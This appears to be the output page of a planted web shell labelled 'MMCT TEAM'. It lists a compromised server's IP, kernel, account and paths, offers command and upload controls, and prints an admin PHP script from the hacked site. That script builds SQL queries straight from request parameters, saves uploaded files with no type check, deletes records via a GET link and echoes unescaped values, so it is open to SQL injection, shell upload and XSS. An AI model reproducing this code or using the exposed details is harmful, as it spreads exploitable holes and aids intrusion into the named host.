MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.191.189.124
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/sssktrust.com/wknadmin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/sssktrust.com/wknadmin/category_image_list.php
<?php require_once("../includes/dbsmain.inc.php");
$catID=$_REQUEST['cat_id'];
$delImageID=$_REQUEST['DelID'];
$catNAME=db_scalar("select category_name from tbl_category where 1 and category_id='$catID'");
if(!empty($delImageID)){ 
   $imageToDel=db_scalar("select category_image_name from tbl_category_image where 1 and category_image_id='$delImageID'"); 
   @unlink('../category_more_images/'.$imageToDel);
   $sqldel="delete from tbl_category_image where 1 and category_image_id='$delImageID'";
   db_query($sqldel);
   set_session_msg("Image Deleted Successfully !");
   header("Location: category_image_list.php?cat_id=$_REQUEST[cat_id]");
   exit;
 }
if(is_post_back()) {
if (isset($_POST['submit'])) {
    for ($i = 0; $i < count($_FILES['file']['name']); $i++) {
	     $imgName=$_FILES['file']['name'][$i];
		 $gTitle=$_POST['title'][$i];
		 
		 //**** Change Duplicate Image name Start Here****//
		 $ext = substr($imgName, strrpos($imgName, "."));		 
		 $imageDupli = db_scalar("select count(*) from tbl_category_image where 1 and category_image_name='$imgName'"); 
		 if($imageDupli > 0){
		  $imgName = basename($imgName, $ext);
		  $imgName = basename($imgName, $ext) . rand(1,1000) . $ext;
		 }else{
		  $imgName = $imgName;
		 }
		 //**** Change Duplicate Image name End Here****//
		 
         if (move_uploaded_file($_FILES['file']['tmp_name'][$i],"../category_more_images/$imgName")) {
			
			    $sql = "insert into tbl_category_image set 
				           category_image_cat_id='$catID',
		                   category_image_status='Active',
						   category_image_name='$imgName',
						   category_image_title='$gTitle',	
						   category_image_add_date=now()";
						   db_query($sql);				
            } 
			       
        }
		set_session_msg("Image uploaded successfully !");
		header("Location: category_image_list.php?cat_id=$_REQUEST[cat_id]");
		exit;
    }
 }
?>
<link href="styles.css" rel="stylesheet" type="text/css">
<link href="imgstyle.css" rel="stylesheet" type="text/css">
<script src="jquery.min.js"></script>
<script src="scriptami.js"></script>
<?php include("top.inc.php");?>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td id="pageHead"><div id="txtPageHead"> <?=$catNAME?> Images</div></td>
              </tr>
            </table>
            <div><strong class="msg" style="margin-left:500px; margin-bottom:5px;">
              <?=display_sess_msg()?>
              </strong></div>
            <div style="width:100%;">
			<?php			
			  $sql_fetch = db_query("select * from tbl_category_image where 1 and category_image_cat_id='".$_REQUEST['cat_id']."'");
			  $cntDATA=mysqli_num_rows($sql_fetch);
			   if($cntDATA > 0){	
			   while($DATA = mysqli_fetch_array($sql_fetch)) {
		          @extract($DATA);		 
             ?>
			 <div style="width:120px; height:170px; margin-top:10px;border:1px outset #fff; float:left; margin-left:8px;">
             <p align="center"><img src="../category_more_images/<?=$DATA['category_image_name']?>" width="90" height="90" /><br>
            <span style="font-weight:bold;"><?=$DATA['category_image_title']?></span></p>
	<p align="center"><a href="category_image_list.php?DelID=<?=$DATA['category_image_id']?>&cat_id=<?=$_REQUEST['cat_id']?>"><img src="images/no.gif"></a></p>
          </div>		  
			 <? }} ?>
			 <div class="cb"></div>
			 </div>
            <table width="55%"  border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm" style="border:1px outset #fff; margin-top:5px; margin-bottom:10px;">
              <tr>
                <td class="tdLabel" style="padding:8px;">
				<div id="maindiv">
                    <div id="formdiv">
                      <form enctype="multipart/form-data" action="" method="post">
                        <div id="filediv">
                          <input name="file[]" type="file" id="file"/>
                        </div>
                        <br/>
                        <input type="button" id="add_more" class="upload" value="Add More Files"/>
                        <input type="submit" value="Upload File" name="submit" id="upload" class="upload"/>
                      </form>
                      <br/>
                    </div>
                  </div></td>
              </tr>
            </table>
            <?php include("bottom.inc.php");?>

MMCT - 2023